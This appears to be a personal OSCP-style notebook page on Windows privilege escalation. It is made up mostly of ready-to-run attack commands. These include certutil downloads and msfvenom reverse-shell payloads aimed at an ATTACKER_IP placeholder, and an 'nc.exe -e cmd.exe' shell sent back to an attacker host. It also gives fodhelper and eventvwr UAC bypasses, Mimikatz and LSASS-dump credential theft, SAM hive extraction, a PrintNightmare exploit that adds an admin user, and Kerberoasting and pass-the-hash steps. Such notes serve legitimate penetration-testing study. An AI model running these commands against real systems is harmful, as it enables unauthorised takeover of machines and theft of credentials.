Windows Privilege Escalation — Techniques & Methodology

External: Internal All The Things — Windows Privilege Escalation

Goal

Move from a low-priv shell (or medium-integrity process) to NT AUTHORITY\SYSTEM or a local/domain Administrator.

📌 0) Automated Enumeration Tools (Run First)

Kali PEASS paths: /usr/share/peass/winpeas/winPEASx64.exe · /usr/share/peass/winpeas/winPEAS.bat — full tree → Privesc Tools > Kali paths — PEASS-ng

# WinPEAS (most thorough) — serve from Kali:
# cd /usr/share/peass/winpeas && python3 -m http.server 8080
# On target:
certutil -urlcache -split -f http://ATTACKER_IP:8080/winPEASx64.exe C:\Temp\winPEAS.exe
C:\Temp\winPEAS.exe
 
# Or upload from Kali copy:
# upload /usr/share/peass/winpeas/winPEASx64.exe C:\Temp\winPEAS.exe
.\winpeas.exe
.\winpeas.bat
 
# PowerUp (PowerShell — focused on service/registry misconfigs)
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass   # execution policy blocking load?
. .\PowerUp.ps1
Get-Command Invoke-AllChecks
Invoke-AllChecks
# Full reference → [[PowerUp]]
 
# Seatbelt (C# — broad info gathering)
.\Seatbelt.exe -group=all
 
# PrivescCheck (PowerShell)
. .\PrivescCheck.ps1
Invoke-PrivescCheck
 
# JAWS (PowerShell)
. .\jaws-enum.ps1
 
# winExploitSuggester — run on Kali (not target): systeminfo → [[winExploitSuggester]]

Tool	Link
WinPEAS	`/usr/share/peass/winpeas/winPEASx64.exe` · Privesc Tools
winExploitSuggester	Run on Kali — `systeminfo` on target, analyze on Kali
linux-exploit-suggester	Run on Kali — `uname -a` → kernel exploit list
PowerUp	PowerUp · PowerSploit
Seatbelt	https://github.com/GhostPack/Seatbelt
PrivescCheck	https://github.com/itm4n/PrivescCheck

📌 1) Basic Manual Enumeration

Run immediately after getting a shell:

→ Full command reference: net user · gci (PowerShell files + -Force)

REM Who am I?
whoami
whoami /all              REM Shows all groups and privileges
whoami /priv             REM Show current privileges (look for SeImpersonatePrivilege etc.)
net user %username%
 
REM System info
systeminfo
hostname
ver
wmic os get caption,version,buildnumber
 
REM Users and groups — Windows uses registry hives, not /etc/passwd → [[Registry Hives and Linux Equivalents]]
net user
net localgroup
net localgroup administrators
net user administrator
 
REM Network
ipconfig /all
arp -a
netstat -ano            REM Local listening ports — [[netstat]]
route print
 
REM Running processes
tasklist
tasklist /v
wmic process list full
 
REM Installed software
wmic product get name,version
dir "C:\Program Files"
dir "C:\Program Files (x86)"
dir C:\xampp 2>nul
type C:\xampp\properties.ini 2>nul   REM XAMPP version → [[XAMPP - CVE-2020-11107 Privilege Escalation]]
 
REM Patches / hotfixes
wmic qfe list
systeminfo | findstr /i "hotfix"

📌 2) Service Exploits

2.1 — Insecure Service Executable Permissions

If a service binary is writable by a low-priv user, replace it with a malicious one:

REM List all services and their binary paths
wmic service get name,pathname,startmode
sc qc ServiceName
 
REM Check permissions on the binary using icacls
icacls "C:\Program Files\VulnApp\service.exe"
REM Look for: (W) (M) (F) for Users or Everyone
 
REM If writable → replace with malicious binary
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o evil.exe
copy evil.exe "C:\Program Files\VulnApp\service.exe"
sc stop ServiceName
sc start ServiceName
 
REM Or use PowerUp
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -ServiceName "VulnService"

2.2 — Insecure Service Permissions (DACL)

The service itself (not just its binary) is configurable by a low-priv user:

REM Check service DACL with accesschk
.\accesschk64.exe -uwcv "Users" *      REM All services Users can modify
.\accesschk64.exe -uwcv ServiceName
 
REM If you can write to a service config, change its binpath
sc config VulnService binpath= "C:\Temp\evil.exe"
sc stop VulnService
sc start VulnService
 
REM PowerUp
Get-ModifiableService
Invoke-ServiceAbuse -ServiceName "VulnService" -UserName "attacker" -Password "Password1"

2.3 — Unquoted Service Paths

If a service binary path has spaces and is not quoted, Windows will try intermediate paths:

Path: C:\Program Files\My App\service.exe
Windows tries in order:
  1. C:\Program.exe
  2. C:\Program Files\My.exe
  3. C:\Program Files\My App\service.exe

REM Find unquoted service paths
wmic service get name,pathname,startmode | findstr /v """" | findstr /i "C:\Program"
 
REM or PowerShell
Get-WmiObject win32_service | Select-Object Name,PathName | Where-Object {$_.PathName -notlike '"*' -and $_.PathName -like "* *"}
 
REM Check if you can write to the intermediate paths
icacls "C:\Program Files\My App"
REM If writable → drop evil binary at the intermediate location
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o "C:\Program Files\My.exe"
sc stop ServiceName && sc start ServiceName
 
REM PowerUp
Get-UnquotedService
Write-ServiceBinary -ServiceName "VulnService" -Path "C:\Program Files\My.exe"

📌 3) Scheduled Tasks

→ Full reference: schtasks

REM List all scheduled tasks
schtasks /query /fo LIST /v
 
REM Check task binary permissions
schtasks /query /fo LIST /v | findstr "Task To Run"
icacls "C:\Path\to\task.exe"
 
REM If writable → replace with malicious binary and wait for trigger

📌 4) Token Impersonation

SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege

Priority hub: Windows Privileges - OSCP Priority Hub · SeImpersonatePrivilege · SeAssignPrimaryTokenPrivilege

These privileges are held by service accounts (IIS, SQL Server, etc.). They allow impersonating any token — including SYSTEM. If you have them:

whoami /priv
REM Look for: SeImpersonatePrivilege    Enabled
REM           SeAssignPrimaryTokenPrivilege  Enabled

Potato Attacks

If SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege is enabled, use a Potato tool to get SYSTEM. See Potato Attacks for the full decision guide — PrintSpoofer for the lab-tested spooler workflow.

whoami /priv
REM Look for: SeImpersonatePrivilege    Enabled
 
REM Quick start (modern box — GodPotato)
.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\PrintSpoofer64.exe -i -c cmd                    REM → [[PrintSpoofer]]
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami" -t *
 
REM Legacy / WinPEAS-suggested — Churrasco (often via SMB copy)
REM See [[Churrasco]] — churrasco.exe -d "C:\path\nc.exe -e cmd.exe ATTACKER PORT"

Churrasco (legacy)

When Potatoes fail or enum suggests it — Churrasco. Transfer churrasco.exe + nc.exe via impacket-smbserver, then:

copy \\ATTACKER\share\churrasco.exe c.exe
copy \\ATTACKER\share\nc.exe .
.\c.exe -d "C:\wmpub\nc.exe -e cmd.exe ATTACKER 443"

SeBackupPrivilege — Backup Operators

→ SeBackupPrivilege — full execution: nxc -M backup_operator, reg save, robocopy /b, diskshadow, SeBackupPrivilege DLLs, wbadmin, PtH.

whoami /priv    REM SeBackupPrivilege Enabled?

Quick Kali: nxc smb DC_IP -u svc_backup -H NTHASH -M backup_operator

SeRestorePrivilege — Restore / write

→ SeRestorePrivilege — wbadmin recovery, service overwrite. Read/dump hashes → SeBackupPrivilege.

SeManageVolumePrivilege — Volume DACL → DLL privesc

Does not auto-write System32 — run SeManageVolumeExploit first, then DLL Injection (e.g. tzres.dll + systeminfo) or DLL Hijacking.

whoami /priv    REM SeManageVolumePrivilege Enabled?
certutil -urlcache -split -f http://KALI:8080/SeManageVolumeExploit.exe
SeManageVolumeExploit.exe

→ SeManageVolumePrivilege

SeTakeOwnershipPrivilege

→ SeTakeOwnershipPrivilege

REM Take ownership of any file
takeown /f C:\Windows\System32\config\SAM
icacls C:\Windows\System32\config\SAM /grant %username%:F
copy C:\Windows\System32\config\SAM C:\Temp\SAM

SeDebugPrivilege — Attach to any process

→ SeDebugPrivilege · LSASS

REM Allows accessing LSASS memory directly (Mimikatz)
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

📌 5) AlwaysInstallElevated

Full walkthrough (WinPEAS output, msfvenom MSI, msiexec): AlwaysInstallElevated - MSI Privilege Escalation

If both registry keys are set to 1, any user can install MSI packages as SYSTEM:

REM Check registry
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
 
REM Both must be 1 — if so:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=445 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi
 
REM PowerUp
Get-RegistryAlwaysInstallElevated
Write-UserAddMSI    # Creates payload MSI that adds admin user

📌 6) Stored Credentials

Unattended Installation Files

Setup files left after Windows deployment — may contain plaintext or base64 passwords:

type C:\Unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattend\Unattend.xml
type C:\Windows\system32\sysprep.inf
type C:\Windows\system32\sysprep\sysprep.xml

PowerShell History

→ Full note: PowerShell History - PSReadLine — search powershell history

(Get-PSReadlineOption).HistorySavePath
type C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type $Env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Windows Credential Manager

cmdkey /list                                        REM List saved credentials
runas /savecred /user:DOMAIN\Administrator cmd.exe  REM Use saved credential

Registry — Stored Credentials

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"  REM AutoLogon

PuTTY Saved Sessions

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

IIS Web.config

→ Full paths & appcmd: IIS > 📌 Post-compromise enumeration (Windows shell)

type C:\inetpub\wwwroot\web.config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
type C:\inetpub\wwwroot\web.config | findstr connectionString

Common App Config Files

REM FileZilla
type "C:\Program Files (x86)\FileZilla Server\FileZilla Server.xml"
type %APPDATA%\FileZilla\recentservers.xml
 
REM VNC
reg query HKCU\Software\RealVNC\WinVNC4 /v password
reg query HKLM\SOFTWARE\TigerVNC\WinVNC4 /v password
 
REM mRemoteNG
type %APPDATA%\mRemoteNG\confCons.xml
 
REM WinSCP
reg query HKCU\Software\Martin Prikryl\WinSCP 2\Sessions /s

Search for Passwords in Files

findstr /s /i "password" C:\*.txt
findstr /s /i "password" C:\*.ini
findstr /s /i "password" C:\*.xml
findstr /s /i "password" C:\inetpub\*.php
dir /s /b *pass* *cred* *config* *secret* 2>nul

📌 7) DLL Hijacking

Full reference → DLL Hijacking · fixed-path overwrite → DLL Injection

When a service/process loads a DLL by name without a full path, Windows searches directories in order. If you can write a malicious DLL into a searched location:

REM Quick — see [[DLL Hijacking]] for ProcMon, PowerUp, PATH abuse
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o evil.dll
copy evil.dll "C:\Writable\Path\missing.dll"
sc stop VulnService && sc start VulnService

SeManageVolume chain: SeManageVolumePrivilege → SeManageVolumeExploit → replace tzres.dll → systeminfo → DLL Injection

📌 8) Registry Exploits

AutoRun / Autoruns Registry Keys

Programs that run as SYSTEM at startup or login:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
 
REM If any executable is writable:
icacls "C:\Path\To\AutoRunBinary.exe"
REM Replace with malicious binary, log off/restart, or trigger reboot

Writable Registry Run Key

REM Check if you can write to the Run key
.\accesschk64.exe -wuvk HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
 
REM If writable:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v evil /t REG_SZ /d "C:\Temp\evil.exe"

📌 9) UAC Bypass

If you’re in a medium-integrity process (standard user in admins group) but need high-integrity:

# Check current integrity level
whoami /groups | findstr "Mandatory"
# Medium Mandatory Level = UAC bypass needed
# High Mandatory Level = already elevated
 
# Method 1: fodhelper.exe (Windows 10)
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -Value ""
Set-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name "(default)" -Value "cmd /c start C:\Temp\evil.exe"
Start-Process fodhelper.exe -WindowStyle Hidden
 
# Method 2: eventvwr.exe
New-Item -Path HKCU:\Software\Classes\mscfile\shell\open\command -Force
Set-ItemProperty -Path HKCU:\Software\Classes\mscfile\shell\open\command -Name "(default)" -Value "cmd /c start C:\Temp\evil.exe"
Start-Process eventvwr.exe -WindowStyle Hidden
 
# Method 3: Metasploit UAC bypass modules
use exploit/windows/local/bypassuac_eventvwr
use exploit/windows/local/bypassuac_fodhelper

📌 10) Credential Dumping

Full LSASS reference → LSASS (dump methods, nxc modules, pypykatz, WDigest, LSA Protection)

Quick — Mimikatz live

.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
lsadump::dcsync /user:krbtgt /domain:corp.local

Quick — offline LSASS dump

tasklist | findstr lsass
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <LSASS_PID> C:\Temp\lsass.dmp full

# Kali
pypykatz lsa minidump lsass.dmp
nxc smb TARGET -u user -p pass -M lsassy

→ Mimikatz · LSASS · secretsdump

SAM Database (offline or volume shadow copy)

Registry hives explained → Registry Hives and Linux Equivalents (SAM = /etc/passwd + /etc/shadow on Linux)

REM Requires admin — copy SAM + SYSTEM
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY
 
REM Crack offline:
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

📌 11) Kernel Exploits

Last resort — find the exact OS/patch level first:

systeminfo | findstr /i "OS Name\|OS Version\|System Type"
wmic qfe list             REM Installed hotfixes

Common Windows kernel exploits

CVE	Name	Affected
MS16-032	Secondary Logon	Win 7–10, Server 2008–2012
MS14-058	TrackPopupMenu	Win XP – Server 2008 R2
MS17-010	EternalBlue	Win XP – Server 2008 R2
CVE-2019-0708	BlueKeep (RDP)	Win 7 / Server 2008
CVE-2020-0796	SMBGhost	Win 10 1903/1909
CVE-2021-1675	PrintNightmare	Multiple
CVE-2022-26923	Certifried (AD CS)	Domain environments — see Certipy & Certify

REM Metasploit suggester
use post/multi/recon/local_exploit_suggester
set session 1
run

📌 12) PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Exploit the Windows Print Spooler service for SYSTEM or adding a domain admin:

# Check if spooler is running
sc query spooler
Get-Service -Name Spooler
 
# PowerShell exploit — add local admin
. .\CVE-2021-1675.ps1
Invoke-Nightmare -DriverName "PrintMe" -NewUser "hacker" -NewPassword "Password1"
 
# Metasploit
use exploit/windows/local/cve_2021_1675_printnightmare

📌 13) Active Directory PrivEsc (from Domain User to DA)

REM Kerberoasting — crack service account tickets
impacket-GetUserSPNs domain/user:pass -dc-ip DC_IP -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt rockyou.txt
 
REM AS-REP Roasting
impacket-GetNPUsers domain/ -no-pass -usersfile users.txt -dc-ip DC_IP -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt
 
REM DCSync (requires DA or special permissions — but commonly used to dump all hashes)
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
impacket-secretsdump domain/admin:password@DC_IP -just-dc
 
REM Pass-the-Hash lateral movement to DA
impacket-wmiexec domain/Administrator@TARGET -hashes :NT_HASH
 
REM BloodHound — map attack paths visually
.\SharpHound.exe -c All
bloodhound-python -d domain.local -u user -p password -dc DC_IP -c All

📌 PrivEsc Checklist

✅ whoami /all run — SeImpersonatePrivilege → [[Potato Attacks]]? **SeBackupPrivilege** → [[SeBackupPrivilege]]? **SeRestorePrivilege** → [[SeRestorePrivilege]]? **SeManageVolumePrivilege** → [[SeManageVolumePrivilege]]?
✅ Writable PATH directories for DLL hijacking? → [[DLL Hijacking]]
✅ systeminfo saved — kernel version checked for exploits?
✅ All service binaries checked with icacls?
✅ Unquoted service paths found?
✅ Service DACLs checked with accesschk?
✅ Scheduled tasks checked — can you modify the binary?
✅ AlwaysInstallElevated checked in registry?
✅ Unattend.xml / sysprep.xml checked for passwords?
✅ PowerShell history checked?
✅ cmdkey /list checked for saved credentials?
✅ Registry Run keys checked for writable binaries?
✅ IIS web.config / app config files checked?
✅ UAC bypass needed (medium vs high integrity)?
✅ WinPEAS / PowerUp / Seatbelt run?
✅ Metasploit local_exploit_suggester run (if session exists)?

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

→ Linux > 📌 1) Basic Manual Enumeration

Pearson's OSCP Notebook

Explorer

Windows PrivEsc